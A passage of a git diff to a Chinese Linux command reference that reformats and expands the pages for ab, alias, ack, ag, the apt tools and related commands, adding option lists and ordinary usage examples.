-attributes ] [ -z -attributes ] [http://]host‐
+name[:port]/path
```
--A:指定连接服务器的基本的认证凭据;
--c:指定一次向服务器发出请求数;
--C:添加cookie;
--g:将测试结果输出为“gnuolot”文件;
--h:显示帮助信息;
--H:为请求追加一个额外的头;
--i:使用“head”请求方式;
--k:激活HTTP中的“keepAlive”特性;
--n:指定测试会话使用的请求数;
--p:指定包含数据的文件;
--q:不显示进度百分比;
--T:使用POST数据时,设置内容类型头;
--v:设置详细模式等级;
--w:以HTML表格方式打印结果;
--x:以表格方式输出时,设置表格的属性;
--X:使用指定的代理服务器发送请求;
--y:以表格方式输出时,设置表格属性。
+
+### 选项
+
+```shell
+-A auth-username:password
+ # 支持基本的验证证书,用户名和密码之间使用"冒号" :
+ # 分隔开,ab将以明文方式传送过去.不管服务器是不是需要
+ # ,也就是说你的服务器需要支持401认证.
+
+-c concurrency
+ # 同时向服务器端发送的请求数目,默认状态下是一次 只执行一个http请求.
+
+-C cookie-name=value
+ # Add a Cookie: line to the request. The argument is typically in the
+ # form of a name=value pair. This field is repeatable.
+
+-d # Do not display the "percentage served within XX [ms] table".
+ # (legacy support).
+
+-e csv-file
+ # Write a Comma separated value (CSV) file which contains for each
+ # percentage (from 1% to 100%) the time (in milli seconds) it took to
+ # serve that percentage of the requests. This is usually more useful
+ # than the 'gnuplot' file; as the results are already 'binned'.
+
+-g gnuplot-file
+ # Write all measured values out as a 'gnuplot' or TSV (Tab separate
+ # values) file. This file can easily be imported into packages like
+ # Gnuplot, IDL, Mathematica, Igor or even Excel. The labels are on
+ # the first line of the file.
+-h # 显示使用说明
+-H custom-header
+ # 向请求包追加附加的标题字串.此参数应该是有效的标题 行(header
+ # line)形式,通常使用冒号":"来分隔有效配对 (valid pair)例如 'Accept-
+ # Encoding: zip/zop;8 bit';
+
+-i # 使用一个 http 头(HEAD) 来替换 GET方法.不可以掺入POST 方法
+
+-k # 允许http KeepAlive ;也就是说执行多个请求在一个 http
+ # 会话当中,默认是不允许的也就是no KeepAlive啦;)
+
+-n requests
+ # 执行一次测试会话的时候所发出的请求数目,默认是执行一个单一的请求
+ # 当然了这样的测试结果也就没什么意义了
+
+-p POST-file
+ # 测试程序也就是ab,将向Apache server发送带有HTTP POST 的请求.
+
+-P proxy-auth-username:password
+ # 当需要通过代理测试一台 HTTP 服务器的时候而你的代理
+ # 又需要用户名密码验证,这时你可以使用这个选项,同样
+ # 用户名与密码之间使用冒号":"分隔开,ab将之以明文的方式
+ # 发送出去,当然,前提是你的代理是处于407认证状态的
+
+-q # When processing more than 150 requests, ab outputs a progress count
+ # on stderr every 10% or 100 requests or so. The -q flag will sup‐
+ # press these messages.
+
+-s # When compiled in (ab -h will show you) use the SSL protected https
+ # rather than the http protocol. This feature is experimental and
+ # very rudimentary. You probably do not want to use it.
+
+-S # Do not display the median and standard deviation values, nor dis‐
+ # play the warning/error messages when the average and median are
+ # more than one or two times the standard deviation apart. And de‐
+ # fault to the min/avg/max values. (legacy support).
+
+-t timelimit
+ # 设置测试的时间的长短,使用这个选项ab将自动设置
+ # 测试请求会话数目为50000,然后以你设置的时间为
+ # 固定周期.默认状态下是没有时限的,也就是直到完成
+ # 你所设置的请求数目为止.
+
+-T content-type
+ # 内容类型标头,使用在POST数据的时候.
+
+-v verbosity
+ # 设置冗余级别,4级打印出每个请求标头的详细信息,
+ # 3级打印出回应代码(例如,404,200),2级打印出警告 信息和指示消息
+
+-V # 显示版本号并且退出
+-w # 打印输出结果到HTML表中. 默认的表是两列n行白底黑框
+
+-x -attributes
+ # 使用字串来描述表的属性,该属性字串应该插入到
+
+-X proxy[:port]
+ # Use a proxy server for the requests.
+
+-y -attributes
+ # 用于生成html表格每行的属性名 ( )
+
+-z -attributes
+ # 用于生成html表格每列的属性名 ( )
```
-### 参数
+### 参数
主机:被测试主机。
-
\ No newline at end of file
+### 实例
+
+```shell
+# 10个并发, 请求500次
+ab -c 10 -n 500 https://www.qq.com/
+```
diff --git a/command/accept.md b/command/accept.md
index 3edc635c3a4..09e9b24d3cd 100644
--- a/command/accept.md
+++ b/command/accept.md
@@ -1,19 +1,19 @@
accept
===
-
+
指示打印系统接受发往指定目标打印机的打印任务
## 补充说明
**accept命令** 属于CUPS套件,用于指示打印系统接受发往指定目标打印机的打印任务。
-### 语法
+### 语法
```
accept(选项)(参数)
```
-### 选项
+### 选项
```
-E:当连接到服务器时强制加密;
@@ -21,9 +21,8 @@ accept(选项)(参数)
-h:指定连接服务器名和端口号。
```
-### 参数
+### 参数
目标:指定目标打印机。
-
\ No newline at end of file
diff --git a/command/ack.md b/command/ack.md
index 0d86a7f5329..505be25ab16 100644
--- a/command/ack.md
+++ b/command/ack.md
@@ -5,7 +5,7 @@ ack
## 安装
-```bash
+```shell
# ubuntu下要安装ack-grep,因为在debian系中,ack这个名字被其他的软件占用了。
sudo apt-get install ack-grep
# alpine Linux-apk软件包管理器 安装 ack
@@ -14,10 +14,10 @@ apk install ack
## 参数
-这些参数在linux上的适用频率是相当高的,尤其是你用vim做为IDE的话
+这些参数在linux上的使用频率是相当高的,尤其是你用vim做为IDE的话
-```
--c(统记)/ -i(忽略大小)/ -h(不显示名称)/
+```shell
+-c(统计)/ -i(忽略大小)/ -h(不显示名称)/
-l(只显文件名)/ -n(加行号)/ -v(显示不匹配)
```
@@ -43,7 +43,7 @@ ack官网列出了这工具的5大卖点:
grep常用操作
-```bash
+```shell
grep -r 'hello_world' # 简单用法
grep '^hello_world' . # 简单正则
ls -l | grep .py # 管道用法
@@ -65,7 +65,7 @@ ack-grep -Q 'hello*'
对搜索结果进行处理,比如只显示一个文件的一个匹配项,或者xxx
-```bash
+```shell
ack-grep --line=1 # 输出所有文件第二行
ack-grep -l 'hello' # 包含的文件名
ack-grep -L 'print' # 非包含文件名
@@ -75,7 +75,7 @@ ack-grep -L 'print' # 非包含文件名
输出的结果是以什么方式展示呢,这个部分有几个参数可以练习下
-```bash
+```shell
ack-grep hello --pager='less -R' # 以less形式展示
ack-grep hello --noheading # 不在头上显示文件
ack-grep hello --nocolor # 不对匹配字符着色
@@ -84,17 +84,17 @@ ack-grep hello --nocolor # 不对匹配字符着色
### File finding
没错,它可以查找文件,以省去你要不断的结合find和grep的麻烦,虽然在linux的思想是一个工具做好一件事。
-```bash
+```shell
ack-grep -f hello.py # 查找全匹配文件
ack-grep -g hello.py$ # 查找正则匹配文件
ack-grep -g hello --sort-files # 查找然后排序
```
-### File Inclusion/Exclusion
+### File inclusion/exclusion
-文件过滤,个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码是不小心命中日志中的某个关键字的话,你会觉得这个有用。
+文件过滤,个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码时不小心命中日志中的某个关键字的话,你会觉得这个有用。
-```bash
+```shell
ack-grep --python hello # 查找所有python文件
ack-grep -G hello.py$ hello # 查找匹配正则的文件
```
diff --git a/command/ag.md b/command/ag.md
new file mode 100644
index 00000000000..47e29043a2f
--- /dev/null
+++ b/command/ag.md
@@ -0,0 +1,100 @@
+ag
+===
+
+ack 的升级版,C语言编写,更快更人性化
+
+## 补充说明
+
+> 摘自 项目的 Readme.md
+
+- 它比ack快一个数量级。
+- 它忽略了你的 `.gitignore` 和 `.hgignore` 中的文件模式。
+- 如果你的源码库里有你不想搜索的文件,只要把它们的模式添加到一个.ignore文件里。(*cough* *.min.js*cough*)
+- 这个命令的名字比ack短33%,而且所有的键都在主行上!
+
+### 语法
+
+```shell
+ag [options] pattern [path ...]
+ag [可选项] 匹配模式 [路径...]
+```
+
+### 选项
+
+```shell
+输出选项:
+ --ackmate 以 AckMate-parseable 的格式显示结果
+ -A --after [LINES] 显示匹配行之后的行(默认2行)
+ -B --before [LINES] 显示匹配行之前的行(默认2行)
+ --[no]break 不同文件中匹配到的内容新建一行显示(默认开启)
+ -c --count 只显示每个文件中匹配到的数量 (通常与匹配行数不同)
+ --[no]color 在结果中打印颜色代码(默认启用)
+ --color-line-number 行号的颜色代码(默认值为:1;33)。
+ --color-match 匹配结果的颜色代码(默认值为:30;43)。
+ --color-path 路径名称的颜色代码(默认值为:1;32)
+ --column 打印结果中的列号
+ --[no]filename 打印文件名(除非搜索单个文件,否则启用)。
+ -H --[no]heading 在每个文件匹配前输出文件名(默认开启)
+ -C --context [LINES] 显示匹配行上下两行(默认2行)
+ --[no]group 和这些一样: --[no]break --[no]heading
+ -g --filename-pattern PATTERN 打印匹配PATTERN的文件名
+ -l --files-with-matches 显示包含匹配的文件名(不显示匹配的行)
+ -L --files-without-matches 只显示不包含匹配项的文件名
+ --print-all-files 打印所有搜索到的文件的标题,甚至那些不包含匹配的文件。
+ --[no]numbers 打印行号。默认情况是在搜索流时省略行号。
+ -o --only-matching 只输出每行匹配的部分
+ --print-long-lines 在很长的行上打印匹配信息(默认:>2k字符)。
+ --passthrough 当搜索一个流时,打印所有的行,即使它们不匹配。
+ --silent 抑制所有的日志信息,包括错误
+ --stats 打印统计(扫描的文件、花费的时间等)。
+ --stats-only 打印统计信息,不打印其他信息(与搜索单个文件时的--计数相同)。
+ --vimgrep 像vim的:vimgrep /pattern/g那样打印结果(它报告每一行的匹配结果)
+ -0 --null --print0 用null分隔文件名(用于'xargs -0')。
+
+搜索选项:
+ -a --all-types 搜索所有文件(包括隐藏文件)
+ -D --debug 可笑的调试(可能没有用)
+ --depth NUM 目录搜索最大深度(默认25)
+ -f --follow 跟随链接进行搜索
+ -F --fixed-strings 为了与grep兼容,--literal的别名。
+ -G --file-search-regex 根据正则匹配搜索指定类型的文件
+ --hidden 搜索隐藏文件 (但遵从 .*ignore 文件)
+ -i --ignore-case 不区分大小写匹配
+ --ignore PATTERN 忽略匹配 PATTERN 的文件/目录(也允许使用文字文件/目录名称)
+ --ignore-dir NAME 为了与ack兼容,--ignore的别名
+ -m --max-count NUM 在一个文件中最大匹配的数量(默认: 10,000)
+ --one-device 不跟随其他设备的链接搜索
+ -p --path-to-ignore STRING 在STRING使用.ignore文件
+ -Q --literal 不要将PATTERN解析为正则表达式
+ -s --case-sensitive 敏感地匹配案例
+ -S --smart-case 不区分大小写匹配,除非 PATTERN 包含大写字符
+ --search-binary 搜索二进制文件
+ -t --all-text 搜索所有文本文件(不包括隐藏文件)
+ -u --unrestricted 搜索所有文件 (忽略 .ignore, .gitignore, 比如:搜索二进制和隐藏文件)
+ -U --skip-vcs-ignores 忽略VCS的忽略文件(指的是 .gitignore,.hgignore;仍然遵从.ignore)。
+ -v --invert-match 反向匹配
+ -w --word-regexp 只匹配整个单词
+ -W --width NUM 在NUM字符后截断匹配行
+ -z --search-zip 搜索压缩文件中的内容
+
+文件类型:
+搜索可以限制在某些类型的文件中,例如:
+ ag --html needle 结果输出到指定类型文件
+ - 在后缀为 .htm、.html、.shtml 或 .xhtml 的文件中搜索“needle”
+
+有关支持的文件类型的列表,可以运行:
+ ag --list-file-types 列出支持的文件类型
+```
+
+### 实例
+
+列出当前目录下包含 `npm` 的文件
+
+```shell
+➜ vue-project ag npm ./
+README.md
+16:npm install
+22:npm run dev
+28:npm run build
+```
+
diff --git a/command/alias.md b/command/alias.md
index 97860478f42..55e3337de27 100644
--- a/command/alias.md
+++ b/command/alias.md
@@ -1,112 +1,118 @@
alias
===
-用来设置指令的别名
+定义或显示别名。
-## 补充说明
+## 概要
-**alias命令** 用来设置指令的别名。我们可以使用该命令可以将一些较长的命令进行简化。使用alias时,用户必须使用单引号`''`将原来的命令引起来,防止特殊字符导致错误。
+```shell
+alias [-p] [name[=value] ...]
+```
-alias命令的作用只局限于该次登入的操作。若要每次登入都能够使用这些命令别名,则可将相应的alias命令存放到bash的初始化文件`/etc/bashrc`中。
+## 主要用途
-### 语法
+- 简化较长的命令。
+- 定义、修改或者显示一个或多个别名。
-```
-alias(选项)(参数)
-```
+## 选项
-### 选项
-
-```
--p:打印已经设置的命令别名。
+```shell
+-p:显示全部已定义的别名。
+name(可选):指定要(定义、修改、显示)的别名。
+value(可选):别名的值。
```
-### 参数
+### 返回值
-命令别名设置:定义命令别名,格式为“命令别名=‘实际命令’”。
+alias 返回 true 除非您要显示的别名未定义。
-### 实例
+## 例子
- **alias 的基本使用方法为:**
+```shell
+# 显示全部已定义的别名
+alias
+alias -p
-```
-alias 新的命令='原命令 -选项/参数'
-```
+# 显示已定义的别名(假设当前环境存在以下别名)
+alias ls
+alias ls grep
-例如:`alias l=‘ls -lsh'`将重新定义ls命令,现在只需输入l就可以列目录了。直接输入 alias 命令会列出当前系统中所有已经定义的命令别名。
+# 定义或修改别名的值
+alias ls='ls --color=auto'
+alias ls='ls --color=never' grep='grep --color=never'
+```
-要删除一个别名,可以使用 unalias 命令,如 unalias l。
+## 知识点
- **查看系统已经设置的别名:**
+直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢?
-```bash
-[root@localhost ~]#
-[root@localhost ~]# alias
-alias cp='cp -i'
-alias egrep='egrep --color=auto'
-alias fgrep='fgrep --color=auto'
-alias grep='grep --color=auto'
-alias l.='ls -d .* --color=auto'
-alias ll='ls -l --color=auto'
-alias ls='ls --color=auto'
-alias mv='mv -i'
-alias rm='rm -i'
-alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
-[root@localhost ~]#
+使用编辑器打开`~/.bashrc`,在文件中加入别名设置,如:alias rm='rm -i',保存后执行`source ~/.bashrc`,这样就可以永久保存命令的别名了。
-```
-### 命令别名永久生效
-直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢?办法就是将别名的设置加入~/.bashrc文件,然后重新载入下文件就可以了。
-```bash
-$ vim ~/.bashrc
-```
-在文件最后面加入别名设置,如:alias rm=’rm -i’,保存后重新载入:
-```bash
-$ source ~/.bashrc
-```
-这样就可以永久保存命令的别名了。因为修改的是当前用户目录下的.bashrc文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改/etc目录下的bashrc文件就可以了。在CentOS7下,这个文件是/etc/bash.bashrc。此外在CentOS7下,细看~/.bashrc文件,会发有这样一段代码:
-```bash
-if [ -f ~/.bash_aliases ]; then
- . ~/.bash_aliases
-fi
-```
+因为修改的是当前用户目录下的`~/.bashrc`文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改`/etc/bashrc`文件就可以了。
-这个代码的意思就是加载.bash_aliases文件,CentOS7已经帮我们考虑好了,所以也可以在用户根目录下新建一个文件.bash_aliases存放命令别名设置。
+> 请注意,以下内容可能与您实际使用的系统有出入:
+>
+> 在CentOS7下,这个文件是`/etc/bash.bashrc`。此外在CentOS7下,细看`~/.bashrc`文件,会发现有这样一段代码:
+>
+> ```shell
+> if [ -f ~/.bash_aliases ]; then
+> . ~/.bash_aliases
+> fi
+> ```
+>
+> 这个代码的意思就是如果存在那么就加载`.bash_aliases`文件,所以也可以在用户根目录下新建该文件用于单独存放命令别名设置。
-### 小结
-alias这个命令是shell的内建命令,可以根据自己的使用习惯设置一些别名,需要注意的就是和其他命令冲突的情况。
+## 错误用法
+- 要显示的别名未定义。
+- 当您定义(修改)别名的值的时候,由于值的字符串有空格但您没有用**单引号扩起**,那么会导致严重的问题:
+```shell
+# 为方便演示,删除全部别名
+unalias -a
+# 没有用单引号扩起
+alias rm=rm -rf
+# 执行命令后报错 bash: alias: -rf: not found
+# 这时使用alias查看rm的别名时返回 alias rm='rm'
+```
+```shell
+# 更具有迷惑性的例子
+# 为方便演示,删除全部别名
+unalias -a
+# 仍然没有用单引号括起
+alias ls=ls --color=never
+# 执行命令后看起来没有报错
+
+# 使用alias查看全部别名会发现运行结果如下:
+# alias --color=never
+# alias ls='ls'
+# alias处理时将它们看成了两组
+```
-#### 一、 范例演示
+## Q&A
-在使用和维护Linux系统过程中,我们常常希望根据自己的需要来定义一些命令,那么这样的操作是不是很难呢?其实不是,系统已经为我们设置好了相关的命令,下面小编就以CentOS6.4系统为例,为大家演示如何创建自己的命令。
+Q:如果我要显示一到多个别名,但不知道其中是否有未定义的该怎么办?
-#### 二、 自定义命令简介
- CentOS系统下的创建自定义命令其实比较简单,使用的命令就是alias,具体使用的方法就是 alias 自定义命令名=‘命令’。但是需要注意的是,在自定义之前需要查看自定义的命令名是否是系统已经使用的命令名,否则会冲突,另外一个就是定期清理不需要的自定义命令名。
+A:正常执行就是了,alias不会因为有一个未定义的别名就结束对剩余参数的执行。
+Q:如果我这么定义`alias cd='ls' ls='cd'`,会有什么后果?
-#### 三、 演示举例
-假定系统操作员希望进行如下操作:
-1.进入目录/root
-2.查看目录下文件
-3.切换回根目录
-通常这需要三条命令 cd /root;ls;cd / ,如果需要经常使用那么我们可以通过自定义命令的方式用一条命令完成全部操作。
-
+A:运行cd依然会切换目录,运行ls依然会列出文件夹的内容;不要这样定义。
-#### 四、 操作过程
- 首先使用命令 type 自定义命令名 ,查看自定义命令名是否被系统占用。从图中可以看出test命令名已被系统占用,所以不能使用,而loo这个命令名经查询可以使用。
-
- 使用命令alias创建自定义命令:alias loo='cd /root;ls;cd /' 。需要注意的是命令的使用格式,分号与分号之间是没有空格的。
-
+### 注意
- 测试一下自定义命令,当输入命令 loo 时,发现系统依次完成了 cd /root、ls、cd / 三条命令,说明设置成功。同时也可直接使用命令 alias 查询系统中是否添加了loo这个自定义命令。
-
+1. 执行脚本时请注意:
+ - 使用 `source` 命令执行的bash脚本如果执行了 `alias` 或 `unalias` 命令,那么有可能会对终端环境的别名设置产生影响;终端环境的别名设置也可能改变运行结果;
+ - 通过 `sh` 方式调用的 bash 脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。
+2. 删除别名,请查看`unalias`命令。
+3. 建议您不要对 `mv cp rm` 等命令的别名设置危险的 `-f` 选项,比如 `alias rm='rm -f'`。
+4. 需要注意别名是否和其他命令有冲突的情况。
+5. 该命令是 bash 内建命令,相关的帮助信息请查看 `help` 命令。
- 如果希望删除这个自定义命令,可以使用命令 unalias 自定义命令名 来完成。执行之后发现,loo命令已不存在,同时自定义命令库中也没有loo命令。
-
+### 其他参考链接
-
+- [alias(1p) - Linux manual page](https://man7.org/linux/man-pages/man1/alias.1p.html)
+- [Linux命令详解:\[8\]alias创建自己的命令](https://jingyan.baidu.com/article/ac6a9a5e6738422b653eac01.html)
diff --git a/command/apachectl.md b/command/apachectl.md
index 9656af2d571..14d220cab8e 100644
--- a/command/apachectl.md
+++ b/command/apachectl.md
@@ -1,28 +1,27 @@
apachectl
===
-
+
Apache服务器前端控制工具
## 补充说明
**apachectl命令** 是Apache的Web服务器前端控制工具,用以启动、关闭和重新启动Web服务器进程。
-### 语法
+### 语法
```
apachectl(参数)
```
-### 参数
+### 参数
-* configtest:检查设置文件中的语法是否正确;
-* fullstatus:显示服务器完整的状态信息;
-* graceful:重新启动Apache服务器,但不会中断原有的连接;
-* help:显示帮助信息;
-* restart:重新启动Apache服务器;
-* start:启动Apache服务器;
-* status:显示服务器摘要的状态信息;
-* stop:停止Apache服务器。
+* configtest:检查设置文件中的语法是否正确;
+* fullstatus:显示服务器完整的状态信息;
+* graceful:重新启动Apache服务器,但不会中断原有的连接;
+* help:显示帮助信息;
+* restart:重新启动Apache服务器;
+* start:启动Apache服务器;
+* status:显示服务器摘要的状态信息;
+* stop:停止Apache服务器。
-
\ No newline at end of file
diff --git a/command/apk.md b/command/apk.md
index 2067e3977fd..153480507f6 100644
--- a/command/apk.md
+++ b/command/apk.md
@@ -5,7 +5,7 @@ Alpine Linux 下的包管理工具
## 使用实例
-```bash
+```shell
apk install xxx
apk search xxx # 支持正则
apk info xxx # 查看包的详细信息
@@ -18,7 +18,7 @@ apk del openssh openntp vim
upgrade命令升级系统已安装的所以软件包(一般包括内核),当然也可指定仅升级部分软件包(通过-u或–upgrade选择指定)。
-```bash
+```shell
apk update # 更新最新本地镜像源
apk upgrade # 升级软件
apk add --upgrade busybox # 指定升级部分软件包
@@ -26,7 +26,7 @@ apk add --upgrade busybox # 指定升级部分软件包
### 搜索
-```bash
+```shell
apk search # 查找所以可用软件包
apk search -v # 查找所以可用软件包及其描述内容
apk search -v 'acf*' # 通过软件包名称查找软件包
@@ -37,7 +37,7 @@ apk search -v -d 'docker' # 通过描述文件查找特定的软件包
info命令用于显示软件包的信息。
-```bash
+```shell
apk info # 列出所有已安装的软件包
apk info -a zlib # 显示完整的软件包信息
apk info --who-owns /sbin/lbu # 显示指定文件属于的包
@@ -47,7 +47,7 @@ apk info --who-owns /sbin/lbu # 显示指定文件属于的包
还是蛮喜欢 alpine 的,简单纯粹
-```bash
+```shell
apk add iproute2 # ss vs netstat
ss -ptl
apk add drill # drill vs nslookup&dig
diff --git a/command/apropos.md b/command/apropos.md
index b4bcd87da81..9fb8d3c4f65 100644
--- a/command/apropos.md
+++ b/command/apropos.md
@@ -1,23 +1,23 @@
apropos
===
-
+
在 whatis 数据库中查找字符串
## 补充说明
-**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。
+**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。
如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令)。
-### 语法
+### 语法
-```
+```shell
apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ...
```
-### 选项
+### 选项
-```
+```shell
-d, --debug:输出调试信息。
-v, --verbose:输出详细的警告信息。
-r, -- regex:将每个keyword作为正则表达式解释。这是默认行为。每个keyword将匹配手册页和描述。
@@ -27,20 +27,20 @@ apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale
-l, --long:不根据终端宽度缩减输出。
-s section, --section section:只查找指定的手册section。
-m system[,...], --systems=system[,...]:用于查找其它操作系统的手册页。
--M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。
--L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括$LC_MESSAGE和$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。
+-M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用 $MANPATH 环境变量。这个选项覆盖 $MANPATH 的内容。
+-L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括 $LC_MESSAGE 和 $LANG 。使用该选项提供一个locale字符串来临时更改本地化信息。
-C file, --config-file=file:使用这个用户配置文件而不是默认的~/.manpath。
-h, --help:打印帮助信息并退出。
-V, --version:打印版本信息并退出。
```
-### 返回值
+### 返回值
返回0表示成功,1表示用法、语法或配置文件错误,2表示操作错误,16表示没有找到匹配的内容。
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# man -k who
at.allow [at] (5) - determine who can submit jobs via at or batch
at.deny [at] (5) - determine who can submit jobs via at or batch
@@ -66,9 +66,6 @@ whoami (1) - print effective userid
查找手册页名字和描述中包含emacs和vi的手册页:
-```
+```shell
apropos -a emacs vi
```
-
-
-
\ No newline at end of file
diff --git a/command/apt-get.md b/command/apt-get.md
index 95a4e3a601d..c9189162f51 100644
--- a/command/apt-get.md
+++ b/command/apt-get.md
@@ -1,34 +1,44 @@
apt-get
===
-
+
Debian Linux发行版中的APT软件包管理工具
## 补充说明
**apt-get命令** 是Debian Linux发行版中的APT软件包管理工具。所有基于Debian的发行都使用这个包管理系统。deb包可以把一个应用的文件包在一起,大体就如同Windows上的安装文件。
-### 语法
+### 语法
-```
-apt-get(选项)(参数)
+```shell
+apt-get [OPTION] PACKAGE
```
-### 选项
+### 选项
+
+```shell
+apt-get install # 安装新包
+apt-get remove # 卸载已安装的包(保留配置文件)
+apt-get purge # 卸载已安装的包(删除配置文件)
+apt-get update # 更新软件包列表
+apt-get upgrade # 更新所有已安装的包
+apt-get autoremove # 卸载已不需要的包依赖
+apt-get dist-upgrade # 自动处理依赖包升级
+apt-get autoclean # 将已经删除了的软件包的.deb安装文件从硬盘中删除掉
+apt-get clean # 删除软件包的安装包
-```
-c:指定配置文件。
```
-### 参数
+### 参数
-* 管理指令:对APT软件包的管理操作;
-* 软件包:指定要操纵的软件包。
+* 管理指令:对APT软件包的管理操作;
+* 软件包:指定要操纵的软件包。
-### 实例
+### 实例
使用apt-get命令的第一步就是引入必需的软件库,Debian的软件库也就是所有Debian软件包的集合,它们存在互联网上的一些公共站点上。把它们的地址加入,apt-get就能搜索到我们想要的软件。/etc/apt/sources.list是存放这些地址列表的配置文件,其格式如下:
-```
+```shell
deb web或[ftp地址] [发行版名字] main/contrib/non-[free]
```
@@ -36,57 +46,57 @@ deb web或[ftp地址] [发行版名字] main/contrib/non-[free]
在修改`/etc/apt/sources.list`或者`/etc/apt/preferences`之后运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的:
-```
+```shell
apt-get update
```
安装一个新软件包:
-```
+```shell
apt-get install packagename
```
卸载一个已安装的软件包(保留配置文件):
-```
+```shell
apt-get remove packagename
```
卸载一个已安装的软件包(删除配置文件):
-```
+```shell
apt-get –purge remove packagename
```
会把已装或已卸的软件都备份在硬盘上,所以如果需要空间的话,可以让这个命令来删除你已经删掉的软件:
-```
+```shell
apt-get autoclean apt
```
这个命令会把安装的软件的备份也删除,不过这样不会影响软件的使用的:
-```
+```shell
apt-get clean
```
更新所有已安装的软件包:
-```
+```shell
apt-get upgrade
```
将系统升级到新版本:
-```
+```shell
apt-get dist-upgrade
```
定期运行这个命令来清除那些已经卸载的软件包的.deb文件。通过这种方式,您可以释放大量的磁盘空间。如果您的需求十分迫切,可以使用`apt-get clean`以释放更多空间。这个命令会将已安装软件包裹的.deb文件一并删除。大多数情况下您不会再用到这些.debs文件,因此如果您为磁盘空间不足 而感到焦头烂额,这个办法也许值得一试:
-```
+```shell
apt-get autoclean
```
-
\ No newline at end of file
+
diff --git a/command/apt-key.md b/command/apt-key.md
index 64766cbe0fa..d35b8578824 100644
--- a/command/apt-key.md
+++ b/command/apt-key.md
@@ -1,30 +1,29 @@
apt-key
===
-
+
管理Debian Linux系统中的软件包密钥
## 补充说明
**apt-key命令** 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包,都是通过密钥认证的,apt-key用来管理密钥。
-### 语法
+### 语法
-```
+```shell
apt-key(参数)
```
-### 参数
+### 参数
操作指令:APT密钥操作指令。
-### 实例
+### 实例
-```
-apt-key list #列出已保存在系统中key。
-apt-key add keyname #把下载的key添加到本地trusted数据库中。
-apt-key del keyname #从本地trusted数据库删除key。
-apt-key update #更新本地trusted数据库,删除过期没用的key。
+```shell
+apt-key list # 列出已保存在系统中key。
+apt-key add keyname # 把下载的key添加到本地trusted数据库中。
+apt-key del keyname # 从本地trusted数据库删除key。
+apt-key update # 更新本地trusted数据库,删除过期没用的key。
```
-
\ No newline at end of file
diff --git a/command/apt-sortpkgs.md b/command/apt-sortpkgs.md
index f9d2416b385..060f8ef109c 100644
--- a/command/apt-sortpkgs.md
+++ b/command/apt-sortpkgs.md
@@ -1,28 +1,27 @@
apt-sortpkgs
===
-
+
Debian Linux下对软件包索引文件进行排序的工具
## 补充说明
**apt-sortpkgs命令** 是Debian Linux下对软件包索引文件进行排序的简单工具。
-### 语法
+### 语法
-```
+```shell
apt-sortpkgs(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-s:使用源索引字段排序;
-h:显示帮助信息。
```
-### 参数
+### 参数
文件:指定要排序的包含debian包信息的索引文件。
-
\ No newline at end of file
diff --git a/command/aptitude.md b/command/aptitude.md
index 378997d3271..6b447d6b16d 100644
--- a/command/aptitude.md
+++ b/command/aptitude.md
@@ -1,21 +1,21 @@
aptitude
===
-
+
Debian Linux系统中软件包管理工具
## 补充说明
**aptitude命令** 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。
-### 语法
+### 语法
-```
+```shell
aptitude(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-h:显示帮助信息;
-d:仅下载软件包,不执行安装操作;
-P:每一步操作都要求确认;
@@ -24,28 +24,27 @@ aptitude(选项)(参数)
-u:启动时下载新的软件包列表。
```
-### 参数
+### 参数
操作命令:用户管理软件包的操作命令。
-### 实例
+### 实例
以下是我总结的一些常用aptitude命令,仅供参考:
-```
-aptitude update #更新可用的包列表
-aptitude upgrade #升级可用的包
-aptitude dist-upgrade #将系统升级到新的发行版
-aptitude install pkgname #安装包
-aptitude remove pkgname #删除包
-aptitude purge pkgname #删除包及其配置文件
-aptitude search string #搜索包
-aptitude show pkgname #显示包的详细信息
-aptitude clean #删除下载的包文件
-aptitude autoclean #仅删除过期的包文件
+```shell
+aptitude update # 更新可用的包列表
+aptitude upgrade # 升级可用的包
+aptitude dist-upgrade # 将系统升级到新的发行版
+aptitude install pkgname # 安装包
+aptitude remove pkgname # 删除包
+aptitude purge pkgname # 删除包及其配置文件
+aptitude search string # 搜索包
+aptitude show pkgname # 显示包的详细信息
+aptitude clean # 删除下载的包文件
+aptitude autoclean # 仅删除过期的包文件
```
当然,你也可以在文本界面模式中使用 aptitude。
-
\ No newline at end of file
diff --git a/command/ar.md b/command/ar.md
index ceaa9874924..6b15af34b83 100644
--- a/command/ar.md
+++ b/command/ar.md
@@ -7,65 +7,67 @@ ar
**ar命令** 是一个建立或修改备存文件,或是从备存文件中抽取文件的工具,ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限
-### 语法
+### 语法
-```
